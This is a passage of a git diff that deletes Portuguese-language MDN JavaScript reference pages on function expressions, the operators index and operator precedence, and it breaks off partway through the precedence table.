-<p>The variable the function expression is assigned to will have a <code>name</code> property. The name doesn't change if it's assigned to a different variable. If function name is omitted, it will be the variable name (implicit name). If function name is present, it will be the function name (explicit name). This also applies to {{jsxref("Functions/Arrow_functions", "arrow functions")}} (arrows don't have a name so you can only give the variable an implicit name).</p>
-
-<pre class="brush: js">var foo = function() {}
-foo.name // "foo"
-
-var foo2 = foo
-foo2.name // "foo"
-
-var bar = function baz() {}
-bar.name // "baz"
-
-console.log(foo === foo2); // true
-console.log(typeof baz); // undefined
-console.log(bar === baz); // false (errors because baz == undefined)
-</pre>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>The following example defines an unnamed function and assigns it to <code>x</code>. The function returns the square of its argument:</p>
-
-<pre class="brush: js">var x = function(y) {
- return y * y;
-};
-</pre>
-
-<p>More commonly it is used as a <a href="/en-US/docs/Glossary/Callback_function">callback</a>:</p>
-
-<pre class="brush: js">button.addEventListener('click', function(event) {
- console.log('button is clicked!')
-})</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}}</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-
-
-<p>{{Compat("javascript.operators.function")}}</p>
-
-<h2 id="Consulte_também">Consulte também </h2>
-
-<ul>
- <li>{{jsxref("Arrow_functions", "Arrow functions")}}</li>
- <li>{{jsxref("Functions_and_function_scope", "Functions and function scope")}}</li>
- <li>{{jsxref("Function")}}</li>
- <li>{{jsxref("Statements/function", "function statement")}}</li>
- <li>{{jsxref("Statements/function*", "function* statement")}}</li>
- <li>{{jsxref("Operators/function*", "function* expression")}}</li>
- <li>{{jsxref("GeneratorFunction")}}</li>
- <li>{{jsxref("Statements/async_function", "async function")}}</li>
- <li>{{jsxref("Operators/async_function", "async function expression")}}</li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/operators/index.html b/files/pt-pt/web/javascript/reference/operators/index.html
deleted file mode 100644
index 2856a917bc..0000000000
--- a/files/pt-pt/web/javascript/reference/operators/index.html
+++ /dev/null
@@ -1,310 +0,0 @@
----
-title: Expressões e operadores
-slug: Web/JavaScript/Reference/Operators
-tags:
- - JavaScript
- - Operadores
- - Página Landing
- - Resumo
- - Sinopse
-translation_of: Web/JavaScript/Reference/Operators
-original_slug: Web/JavaScript/Reference/Operadores
----
-<div>{{jsSidebar("Operators")}}</div>
-
-<p>Este capítulo documenta todos os operadores, expressões e palavras-chave da linguagem JavaScript.</p>
-
-<h2 id="Expressões_e_operadores_por_categoria">Expressões e operadores por categoria</h2>
-
-<p>For an alphabetical listing see the sidebar on the left.</p>
-
-<h3 id="Expressões_primárias">Expressões primárias</h3>
-
-<p>Basic keywords and general expressions in JavaScript.</p>
-
-<dl>
- <dt>{{JSxRef("Operators/this", "this")}}</dt>
- <dd>The <code>this</code> keyword refers to a special property of an execution context.</dd>
- <dt>{{JSxRef("Operators/function", "function")}}</dt>
- <dd>The <code>function</code> keyword defines a function expression.</dd>
- <dt>{{JSxRef("Operators/class", "class")}}</dt>
- <dd>The <code>class</code> keyword defines a class expression.</dd>
- <dt>{{JSxRef("Operators/function*", "function*")}}</dt>
- <dd>The <code>function*</code> keyword defines a generator function expression.</dd>
- <dt>{{JSxRef("Operators/yield", "yield")}}</dt>
- <dd>Pause and resume a generator function.</dd>
- <dt>{{JSxRef("Operators/yield*", "yield*")}}</dt>
- <dd>Delegate to another generator function or iterable object.</dd>
- <dt>{{JSxRef("Operators/async_function", "async function")}}</dt>
- <dd>The <code>async function</code> defines an async function expression.</dd>
- <dt>{{JSxRef("Operators/await", "await")}}</dt>
- <dd>Pause and resume an async function and wait for the promise's resolution/rejection.</dd>
- <dt>{{JSxRef("Global_Objects/Array", "[]")}}</dt>
- <dd>Array initializer/literal syntax.</dd>
- <dt>{{JSxRef("Operators/Object_initializer", "{}")}}</dt>
- <dd>Object initializer/literal syntax.</dd>
- <dt>{{JSxRef("Global_Objects/RegExp", "/ab+c/i")}}</dt>
- <dd>Regular expression literal syntax.</dd>
- <dt>{{JSxRef("Operators/Grouping", "( )")}}</dt>
- <dd>Grouping operator.</dd>
-</dl>
-
-<h3 id="Expressões_Left-hand-side">Expressões "Left-hand-side"</h3>
-
-<p>Left values are the destination of an assignment.</p>
-
-<dl>
- <dt>{{jsxref("Operators/Property_accessors", "Property accessors", "", 1)}}</dt>
- <dd>Member operators provide access to a property or method of an object<br>
- (<code>object.property</code> and <code>object["property"]</code>).</dd>
- <dt>{{jsxref("Operators/new", "new")}}</dt>
- <dd>The <code>new</code> operator creates an instance of a constructor.</dd>
- <dt><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new.target">new.target</a></dt>
- <dd>In constructors, <code>new.target</code> refers to the constructor that was invoked by {{jsxref("Operators/new", "new")}}.</dd>
- <dt>{{jsxref("Operators/super", "super")}}</dt>
- <dd>The <code>super</code> keyword calls the parent constructor.</dd>
- <dt>{{jsxref("Operators/Spread_operator", "...obj")}}</dt>
- <dd>The spread operator allows an expression to be expanded in places where multiple arguments (for function calls) or multiple elements (for array literals) are expected.</dd>
-</dl>
-
-<h3 id="Aumento_e_diminuição">Aumento e diminuição</h3>
-
-<p>Postfix/prefix increment and postfix/prefix decrement operators.</p>
-
-<dl>
- <dt>{{jsxref("Operators/Arithmetic_Operators", "A++", "#Increment")}}</dt>
- <dd>Postfix increment operator.</dd>
- <dt>{{jsxref("Operators/Arithmetic_Operators", "A--", "#Decrement")}}</dt>
- <dd>Postfix decrement operator.</dd>
- <dt>{{jsxref("Operators/Arithmetic_Operators", "++A", "#Increment")}}</dt>
- <dd>Prefix increment operator.</dd>
- <dt>{{jsxref("Operators/Arithmetic_Operators", "--A", "#Decrement")}}</dt>
- <dd>Prefix decrement operator.</dd>
-</dl>
-
-<h3 id="Operadores_unários">Operadores unários</h3>
-
-<p>A unary operation is operation with only one operand.</p>
-
-<dl>
- <dt>{{jsxref("Operators/delete", "delete")}}</dt>
- <dd>The <code>delete</code> operator deletes a property from an object.</dd>
- <dt>{{jsxref("Operators/void", "void")}}</dt>
- <dd>The <code>void</code> operator discards an expression's return value.</dd>
- <dt>{{jsxref("Operators/typeof", "typeof")}}</dt>
- <dd>The <code>typeof</code> operator determines the type of a given object.</dd>
- <dt>{{jsxref("Operators/Arithmetic_Operators", "+", "#Unary_plus")}}</dt>
- <dd>The unary plus operator converts its operand to Number type.</dd>
- <dt>{{jsxref("Operators/Arithmetic_Operators", "-", "#Unary_negation")}}</dt>
- <dd>The unary negation operator converts its operand to Number type and then negates it.</dd>
- <dt>{{jsxref("Operators/Bitwise_Operators", "~", "#Bitwise_NOT")}}</dt>
- <dd>Bitwise NOT operator.</dd>
- <dt>{{jsxref("Operators/Logical_Operators", "!", "#Logical_NOT")}}</dt>
- <dd>Logical NOT operator.</dd>
-</dl>
-
-<h3 id="Operadores_de_aritmética">Operadores de aritmética</h3>
-
-<p>Arithmetic operators take numerical values (either literals or variables) as their operands and return a single numerical value.</p>
-
-<dl>
- <dt>{{jsxref("Operators/Arithmetic_Operators", "+", "#Addition")}}</dt>
- <dd>Addition operator.</dd>
- <dt>{{jsxref("Operators/Arithmetic_Operators", "-", "#Subtraction")}}</dt>
- <dd>Subtraction operator.</dd>
- <dt>{{jsxref("Operators/Arithmetic_Operators", "/", "#Division")}}</dt>
- <dd>Division operator.</dd>
- <dt>{{jsxref("Operators/Arithmetic_Operators", "*", "#Multiplication")}}</dt>
- <dd>Multiplication operator.</dd>
- <dt>{{jsxref("Operators/Arithmetic_Operators", "%", "#Remainder")}}</dt>
- <dd>Remainder operator.</dd>
-</dl>
-
-<dl>
- <dt>{{JSxRef("Operators/Arithmetic_Operators", "**", "#Exponentiation")}}</dt>
- <dd>Exponentiation operator.</dd>
-</dl>
-
-<h3 id="Operadores_relacionais">Operadores relacionais</h3>
-
-<p>A comparison operator compares its operands and returns a <code>Boolean</code> value based on whether the comparison is true.</p>
-
-<dl>
- <dt>{{jsxref("Operators/in", "in")}}</dt>
- <dd>The <code>in</code> operator determines whether an object has a given property.</dd>
- <dt>{{jsxref("Operators/instanceof", "instanceof")}}</dt>
- <dd>The <code>instanceof</code> operator determines whether an object is an instance of another object.</dd>
- <dt>{{jsxref("Operators/Comparison_Operators", "&lt;", "#Less_than_operator")}}</dt>
- <dd>Less than operator.</dd>
- <dt>{{jsxref("Operators/Comparison_Operators", "&gt;", "#Greater_than_operator")}}</dt>
- <dd>Greater than operator.</dd>
- <dt>{{jsxref("Operators/Comparison_Operators", "&lt;=", "#Less_than_or_equal_operator")}}</dt>
- <dd>Less than or equal operator.</dd>
- <dt>{{jsxref("Operators/Comparison_Operators", "&gt;=", "#Greater_than_or_equal_operator")}}</dt>
- <dd>Greater than or equal operator.</dd>
-</dl>
-
-<div class="note">
-<p><strong>Nota: =&gt;</strong> não é um operador, mas a notação para <a href="/pt-PT/docs/Web/JavaScript/Reference/Funcoes/Funcoes_seta">funções seta (<em>arrow</em></a>).</p>
-</div>
-
-<h3 id="Operadores_de_equality">Operadores de <em>equality</em></h3>
-
-<p>The result of evaluating an equality operator is always of type <code>Boolean</code> based on whether the comparison is true.</p>
-
-<dl>
- <dt>{{jsxref("Operators/Comparison_Operators", "==", "#Equality")}}</dt>
- <dd>Equality operator.</dd>
- <dt>{{jsxref("Operators/Comparison_Operators", "!=", "#Inequality")}}</dt>
- <dd>Inequality operator.</dd>
- <dt>{{jsxref("Operators/Comparison_Operators", "===", "#Identity")}}</dt>
- <dd>Identity operator.</dd>
- <dt>{{jsxref("Operators/Comparison_Operators", "!==", "#Nonidentity")}}</dt>
- <dd>Nonidentity operator.</dd>
-</dl>
-
-<h3 id="Bitwise_shift_operators">Bitwise shift operators</h3>
-
-<p>Operations to shift all bits of the operand.</p>
-
-<dl>
- <dt>{{jsxref("Operators/Bitwise_Operators", "&lt;&lt;", "#Left_shift")}}</dt>
- <dd>Bitwise left shift operator.</dd>
- <dt>{{jsxref("Operators/Bitwise_Operators", "&gt;&gt;", "#Right_shift")}}</dt>
- <dd>Bitwise right shift operator.</dd>
- <dt>{{jsxref("Operators/Bitwise_Operators", "&gt;&gt;&gt;", "#Unsigned_right_shift")}}</dt>
- <dd>Bitwise unsigned right shift operator.</dd>
-</dl>
-
-<h3 id="Operadores_de_binário_bitwise">Operadores de binário <em>bitwise</em></h3>
-
-<p>Bitwise operators treat their operands as a set of 32 bits (zeros and ones) and return standard JavaScript numerical values.</p>
-
-<dl>
- <dt>{{jsxref("Operators/Bitwise_Operators", "&amp;", "#Bitwise_AND")}}</dt>
- <dd>Bitwise AND.</dd>
- <dt>{{jsxref("Operators/Bitwise_Operators", "|", "#Bitwise_OR")}}</dt>
- <dd>Bitwise OR.</dd>
- <dt>{{jsxref("Operators/Bitwise_Operators", "^", "#Bitwise_XOR")}}</dt>
- <dd>Bitwise XOR.</dd>
-</dl>
-
-<h3 id="Operadores_de_binário_logical">Operadores de binário <em>logical</em></h3>
-
-<p>Logical operators are typically used with boolean (logical) values, and when they are, they return a boolean value.</p>
-
-<dl>
- <dt>{{jsxref("Operators/Logical_Operators", "&amp;&amp;", "#Logical_AND")}}</dt>
- <dd>Logical AND.</dd>
- <dt>{{jsxref("Operators/Logical_Operators", "||", "#Logical_OR")}}</dt>
- <dd>Logical OR.</dd>
-</dl>
-
-<h3 id="Operdor_condicional_ternário">Operdor condicional (ternário)</h3>
-
-<dl>
- <dt>{{jsxref("Operators/Conditional_Operator", "(condition ? ifTrue : ifFalse)")}}</dt>
- <dd>
- <p>The conditional operator returns one of two values based on the logical value of the condition.</p>
- </dd>
-</dl>
-
-<h3 id="Operadores_de_Assignment">Operadores de <em>Assignment</em></h3>
-
-<p>An assignment operator assigns a value to its left operand based on the value of its right operand.</p>
-
-<dl>
- <dt>{{jsxref("Operators/Assignment_Operators", "=", "#Assignment")}}</dt>
- <dd>Assignment operator.</dd>
- <dt>{{jsxref("Operators/Assignment_Operators", "*=", "#Multiplication_assignment")}}</dt>
- <dd>Multiplication assignment.</dd>
- <dt>{{jsxref("Operators/Assignment_Operators", "/=", "#Division_assignment")}}</dt>
- <dd>Division assignment.</dd>
- <dt>{{jsxref("Operators/Assignment_Operators", "%=", "#Remainder_assignment")}}</dt>
- <dd>Remainder assignment.</dd>
- <dt>{{jsxref("Operators/Assignment_Operators", "+=", "#Addition_assignment")}}</dt>
- <dd>Addition assignment.</dd>
- <dt>{{jsxref("Operators/Assignment_Operators", "-=", "#Subtraction_assignment")}}</dt>
- <dd>Subtraction assignment</dd>
- <dt>{{jsxref("Operators/Assignment_Operators", "&lt;&lt;=", "#Left_shift_assignment")}}</dt>
- <dd>Left shift assignment.</dd>
- <dt>{{jsxref("Operators/Assignment_Operators", "&gt;&gt;=", "#Right_shift_assignment")}}</dt>
- <dd>Right shift assignment.</dd>
- <dt>{{jsxref("Operators/Assignment_Operators", "&gt;&gt;&gt;=", "#Unsigned_right_shift_assignment")}}</dt>
- <dd>Unsigned right shift assignment.</dd>
- <dt>{{jsxref("Operators/Assignment_Operators", "&amp;=", "#Bitwise_AND_assignment")}}</dt>
- <dd>Bitwise AND assignment.</dd>
- <dt>{{jsxref("Operators/Assignment_Operators", "^=", "#Bitwise_XOR_assignment")}}</dt>
- <dd>Bitwise XOR assignment.</dd>
- <dt>{{jsxref("Operators/Assignment_Operators", "|=", "#Bitwise_OR_assignment")}}</dt>
- <dd>Bitwise OR assignment.</dd>
- <dt>{{jsxref("Operators/Destructuring_assignment", "[a, b] = [1, 2]")}}<br>
- {{jsxref("Operators/Destructuring_assignment", "{a, b} = {a:1, b:2}")}}</dt>
- <dd>
- <p>Destructuring assignment allows you to assign the properties of an array or object to variables using syntax that looks similar to array or object literals.</p>
- </dd>
-</dl>
-
-<h3 id="Operador_de_aspas">Operador de aspas</h3>
-
-<dl>
- <dt>{{jsxref("Operators/Comma_Operator", ",")}}</dt>
- <dd>The comma operator allows multiple expressions to be evaluated in a single statement and returns the result of the last expression.</dd>
-</dl>
-
-<h3 id="Funcionalidades_não_padrão">Funcionalidades não padrão</h3>
-
-<dl>
- <dt>{{non-standard_inline}} {{jsxref("Operators/Legacy_generator_function", "Legacy generator function", "", 1)}}</dt>
- <dd>The <code>function</code> keyword can be used to define a legacy generator function inside an expression. To make the function a legacy generator, the function body should contains at least one {{jsxref("Operators/yield", "yield")}} expression.</dd>
- <dt>{{non-standard_inline}} {{jsxref("Operators/Expression_closures", "Expression closures", "", 1)}}</dt>
- <dd>The expression closure syntax is a shorthand for writing simple function.</dd>
- <dt>{{non-standard_inline}} {{jsxref("Operators/Array_comprehensions", "[for (x of y) x]")}}</dt>
- <dd>Array comprehensions.</dd>
- <dt>{{non-standard_inline}} {{jsxref("Operators/Generator_comprehensions", "(for (x of y) y)")}}</dt>
- <dd>Generator comprehensions.</dd>
-</dl>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('ES1', '#sec-11', 'Expressions')}}</td>
- <td>{{Spec2('ES1')}}</td>
- <td>Initial definition</td>
- </tr>
- <tr>
- <td>{{SpecName('ES5.1', '#sec-11', 'Expressions')}}</td>
- <td>{{Spec2('ES5.1')}}</td>
- <td></td>
- </tr>
- <tr>
- <td>{{SpecName('ES6', '#sec-ecmascript-language-expressions', 'ECMAScript Language: Expressions')}}</td>
- <td>{{Spec2('ES6')}}</td>
- <td>New: Spread operator, destructuring assignment, <code>super</code> keyword.</td>
- </tr>
- <tr>
- <td>{{SpecName('ESDraft', '#sec-ecmascript-language-expressions', 'ECMAScript Language: Expressions')}}</td>
- <td>{{Spec2('ESDraft')}}</td>
- <td></td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-
-
-<p>{{Compat("javascript.operators")}}</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/JavaScript/Reference/Operadores/Precedencia_operador">Precedência de operador</a></li>
-</ul>
diff --git a/files/pt-pt/web/javascript/reference/operators/operator_precedence/index.html b/files/pt-pt/web/javascript/reference/operators/operator_precedence/index.html
deleted file mode 100644
index a33ba19b4b..0000000000
--- a/files/pt-pt/web/javascript/reference/operators/operator_precedence/index.html
+++ /dev/null
@@ -1,462 +0,0 @@
----
-title: Precedência de operador
-slug: Web/JavaScript/Reference/Operators/Operator_Precedence
-tags:
- - Guía
- - JavaScript
- - precedência
-translation_of: Web/JavaScript/Reference/Operators/Operator_Precedence
-original_slug: Web/JavaScript/Reference/Operadores/Precedencia_operador
----
-<div>{{jsSidebar("Operators")}}</div>
-
-<p>A <strong>precedência de operador</strong> determina a maneira pela qual os operadores são analisados ​​em relação a cada um. Os operadores com maior precedência tornam-se operandos dos operadores com menor precedência..</p>
-
-<div>{{EmbedInteractiveExample("pages/js/expressions-operatorprecedence.html")}}</div>
-
-
-
-<h2 id="Precedência_e_Associabilidade">Precedência e Associabilidade</h2>
-
-<p>Consider an expression describable by the representation below. Note that both OP<sub>1</sub> and OP<sub>2 </sub>are fill-in-the-blanks for OPerators.</p>
-
-<pre class="syntaxbox">a OP b OP c
-</pre>
-
-<p>If <code>OP<sub>1</sub></code> and <code>OP<sub>2</sub></code> have different precedence levels (see the table below), the operator with the highest precedence goes first and associativity does not matter. Observe how multiplication has higher associativity than addition and executed first, even though addition is written first in the code.</p>
-
-<pre>console.log(3 + 10 * 2); // logs 23
-console.log(3 + (10 * 2)); // logs 23 because parentheses here are superfluous
-console.log((3 + 10) * 2); // logs 26 because the parentheses change the order </pre>
-
-<p>Left-associativity (left-to-right) means that it is processed as <code>(a OP<sub>1</sub> b) OP<sub>2</sub> c</code>, while right-associativity (right-to-left) means it is interpreted as <code>a OP<sub>1</sub> (b OP<sub>2</sub> c)</code>. Assignment operators are right-associative, so you can write:</p>
-
-<pre>a = b = 5; // same as writing a = (b = 5);
-</pre>
-
-<p>with the expected result that <code>a</code> and <code>b</code> get the value 5. This is because the assignment operator returns the value that is assigned. First, <code>b</code> is set to 5. Then the <code>a</code> is also set to 5, the return value of <code>b = 5</code>, aka right operand of the assignment.</p>
-
-<p>As another example, the unique exponentiation operator has right-associativity, whereas other arithmetic operators have left-associativity. It is interesting to note that, the order of evaluation is always left-to-right irregardless of associativity.</p>
-
-<table>
- <tbody>
- <tr>
- <td>Código</td>
- <td>Resultado</td>
- </tr>
- <tr>
- <td>
- <pre>
-function echo(name, num) {
- console.log("Evaluating the " + name + " side");
- return num;
-}
-// Notice the division operator (/)
-console.log(echo("left", 6) / echo("right", 2));
-</pre>
- </td>
- <td>
- <pre>
-Evaluating the left side
-Evaluating the right side
-3
-</pre>
- </td>
- </tr>
- <tr>
- <td>
- <pre>
-function echo(name, num) {
-    console.log("Evaluating the " + name + " side");
-    return num;
-}
-// Notice the exponentiation operator (**)
-console.log(echo("left", 2) ** echo("right", 3));</pre>
- </td>
- <td>
- <pre>
-Evaluating the left side
-Evaluating the right side
-8</pre>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>The difference in associativity comes into play when there are multiple operators of the same precedence. With only one operator or operators of different precedences, associativity does affect the output, as seen in the example above. In the example below, observe how associativity affects the output when multiple of the same operator are used.</p>
-
-<table>
- <tbody>
- <tr>
- <td>Código</td>
- <td>Resultado</td>
- </tr>
- <tr>
- <td>
- <pre>
-function echo(name, num) {
- console.log("Evaluating the " + name + " side");
- return num;
-}
-// Notice the division operator (/)
-console.log(echo("left", 6) / echo("middle", 2) / echo("right", 3));
-</pre>
- </td>
- <td>
- <pre>
-Evaluating the left side
-Evaluating the middle side
-Evaluating the right side
-1
-</pre>
- </td>
- </tr>
- <tr>
- <td>
- <pre>
-function echo(name, num) {
-    console.log("Evaluating the " + name + " side");
-    return num;
-}
-// Notice the exponentiation operator (**)
-console.log(echo("left", 2) ** echo("middle", 3) ** echo("right", 2));
-</pre>
- </td>
- <td>
- <pre>
-Evaluating the left side
-Evaluating the middle side
-Evaluating the right side
-512
-</pre>
- </td>
- </tr>
- <tr>
- <td>
- <pre>
-function echo(name, num) {
-    console.log("Evaluating the " + name + " side");
-    return num;
-}
-// Notice the parentheses around the left and middle exponentiation
-console.log((echo("left", 2) ** echo("middle", 3)) ** echo("right", 2));</pre>
- </td>
- <td>
- <pre>
-Evaluating the left side
-Evaluating the middle side
-Evaluating the right side
-64</pre>
- </td>
- </tr>
- </tbody>
-</table>
-
-<p>Looking at the code snippets above, <code>6 / 3 / 2</code> is the same as <code>(6 / 3) / 2</code> because division is left-associative. Exponentiation, on the other hand, is right-associative, so <code>2 ** 3 ** 2</code> is the same as <code>2 ** (3 ** 2)</code>. Thus, doing (<code>2 ** 3) ** 2</code> changes the order and results in the 64 seen in the table above.</p>
-
-<p>Remember that precedence comes before associativity. So, mixing division and exponentiation, the exponentiation comes before the division. For example, <code>2 ** 3 / 3 ** 2</code> results in 0.8888888888888888 because it is the same as <code>(2 ** 3) / (3 ** 2)</code>.</p>
-
-<h3 id="Note_on_Grouping_and_Short-Circuiting">Note on Grouping and Short-Circuiting</h3>
-
-<p>In the table below, <strong>Grouping</strong> is listed as having the highest precedence. However, that does not always mean the expression within the grouping symbols <code>( … )</code> is evaluated first, especially when it comes to short-circuiting.</p>
-
-<p>Short-circuiting is jargon for conditional evaluation. For example, in the expression <code>a &amp;&amp; (b + c)</code>, if <code>a</code> is <a href="https://wiki.developer.mozilla.org/en-US/docs/Glossary/Falsy">“falsy”</a>, then the sub-expression <code>(b + c)</code> will not even get evaluated, even if it is in parentheses. We could say that the logical disjunction operator (“OR”) is “short-circuited”. Along with logical disjunction, other short-circuited operators include logical conjunction (“AND”), nullish-coalescing, optional chaining, and the conditional operator. Some more examples follow.</p>
-
-<pre>a || (b * c); // evaluate `a` first, then produce `a` if `a` is “truthy”
-a &amp;&amp; (b &lt; c); // evaluate `a` first, then produce `a` if `a` is “falsy”
-a ?? (b || c); // evaluate `a` first, then produce `a` if `a` is not `null` and not `undefined`
-a?.b.c; // evaluate `a` first, then produce `a` if `a` is `null` or `undefined`
-</pre>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<pre>3 &gt; 2 &amp;&amp; 2 &gt; 1
-// returns true
-
-3 &gt; 2 &gt; 1
-// Returns false because 3 &gt; 2 is true, then true is converted to 1 in inequality operators, therefore true &gt; 1 becomes 1 &gt; 1, which
-// is false. Adding parentheses makes things clear: (3 &gt; 2) &gt; 1.
-
-</pre>
-
-<h2 id="Tabela">Tabela</h2>
-
-<p>The following table is ordered from highest (20) to lowest (1) precedence.</p>
-
-<table class="fullwidth-table">
- <tbody>
- <tr>
- <th>Precedência</th>
- <th>Tipo de operador (Operator)</th>
- <th>Associatividade</th>
- <th>Operadores individuais</th>
- </tr>
- <tr>
- <td>20</td>
- <td>{{jsxref("Operators/Grouping", "Grouping")}}</td>
- <td>n/a</td>
- <td><code>( … )</code></td>
- </tr>
- <tr>
- <td colspan="1" rowspan="4">19</td>
- <td>{{jsxref("Operators/Property_Accessors", "Member Access", "#Dot_notation")}}</td>
- <td>left-to-right</td>
- <td><code>… . …</code></td>
- </tr>
- <tr>
- <td>{{jsxref("Operators/Property_Accessors", "Computed Member Access","#Bracket_notation")}}</td>
- <td>left-to-right</td>
- <td><code>… [ … ]</code></td>
- </tr>
- <tr>
- <td>{{jsxref("Operators/new","new")}} (with argument list)</td>
- <td>n/a</td>
- <td><code>new … ( … )</code></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Guide/Functions">Function Call</a></td>
- <td>left-to-right</td>
- <td><code>… ( <var>… </var>)</code></td>
- </tr>
- <tr>
- <td rowspan="1">18</td>
- <td>{{jsxref("Operators/new","new")}} (without argument list)</td>
- <td>right-to-left</td>
- <td><code>new …</code></td>
- </tr>
- <tr>
- <td rowspan="2">17</td>
- <td>{{jsxref("Operators/Arithmetic_Operators","Postfix Increment","#Increment")}}</td>
- <td colspan="1" rowspan="2">n/a</td>
- <td><code>… ++</code></td>
- </tr>
- <tr>
- <td>{{jsxref("Operators/Arithmetic_Operators","Postfix Decrement","#Decrement")}}</td>
- <td><code>… --</code></td>
- </tr>
- <tr>
- <td colspan="1" rowspan="10">16</td>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators#Logical_NOT">Logical NOT</a></td>
- <td colspan="1" rowspan="10">right-to-left</td>
- <td><code>! …</code></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators#Bitwise_NOT">Bitwise NOT</a></td>
- <td><code>~ …</code></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Unary_plus">Unary Plus</a></td>
- <td><code>+ …</code></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Unary_negation">Unary Negation</a></td>
- <td><code>- …</code></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Increment">Prefix Increment</a></td>
- <td><code>++ …</code></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Decrement">Prefix Decrement</a></td>
- <td><code>-- …</code></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a></td>
- <td><code>typeof …</code></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/void">void</a></td>
- <td><code>void …</code></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete</a></td>
- <td><code>delete …</code></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/await">await</a></td>
- <td><code>await …</code></td>
- </tr>
- <tr>
- <td>15</td>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Exponentiation">Exponentiation</a></td>
- <td>right-to-left</td>
- <td><code>… ** …</code></td>
- </tr>
- <tr>
- <td rowspan="3">14</td>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Multiplication">Multiplication</a></td>
- <td colspan="1" rowspan="3">left-to-right</td>
- <td><code>… * …</code></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Division">Division</a></td>
- <td><code>… / …</code></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Remainder">Remainder</a></td>
- <td><code>… % …</code></td>
- </tr>
- <tr>
- <td rowspan="2">13</td>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Addition">Addition</a></td>
- <td colspan="1" rowspan="2">left-to-right</td>
- <td><code>… + …</code></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Subtraction">Subtraction</a></td>
- <td><code>… - …</code></td>
- </tr>
- <tr>
- <td rowspan="3">12</td>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">Bitwise Left Shift</a></td>
- <td colspan="1" rowspan="3">left-to-right</td>
- <td><code>… &lt;&lt; …</code></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">Bitwise Right Shift</a></td>
- <td><code>… &gt;&gt; …</code></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">Bitwise Unsigned Right Shift</a></td>
- <td><code>… &gt;&gt;&gt; …</code></td>
- </tr>
- <tr>
- <td rowspan="6">11</td>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Less_than_operator">Less Than</a></td>
- <td colspan="1" rowspan="6">left-to-right</td>
- <td><code>… &lt; …</code></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Less_than__or_equal_operator">Less Than Or Equal</a></td>
- <td><code>… &lt;= …</code></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Greater_than_operator">Greater Than</a></td>
- <td><code>… &gt; …</code></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Greater_than_or_equal_operator">Greater Than Or Equal</a></td>
- <td><code>… &gt;= …</code></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/in">in</a></td>
- <td><code>… in …</code></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/instanceof">instanceof</a></td>
- <td><code>… instanceof …</code></td>
- </tr>
- <tr>
- <td rowspan="4">10</td>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Equality">Equality</a></td>
- <td colspan="1" rowspan="4">left-to-right</td>
- <td><code>… == …</code></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Inequality">Inequality</a></td>
- <td><code>… != …</code></td>
- </tr>
- <tr>
- <td><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Identity">Strict Equality</a></td>
- <td><code>… === …</code></td>
- </tr>
- <tr>
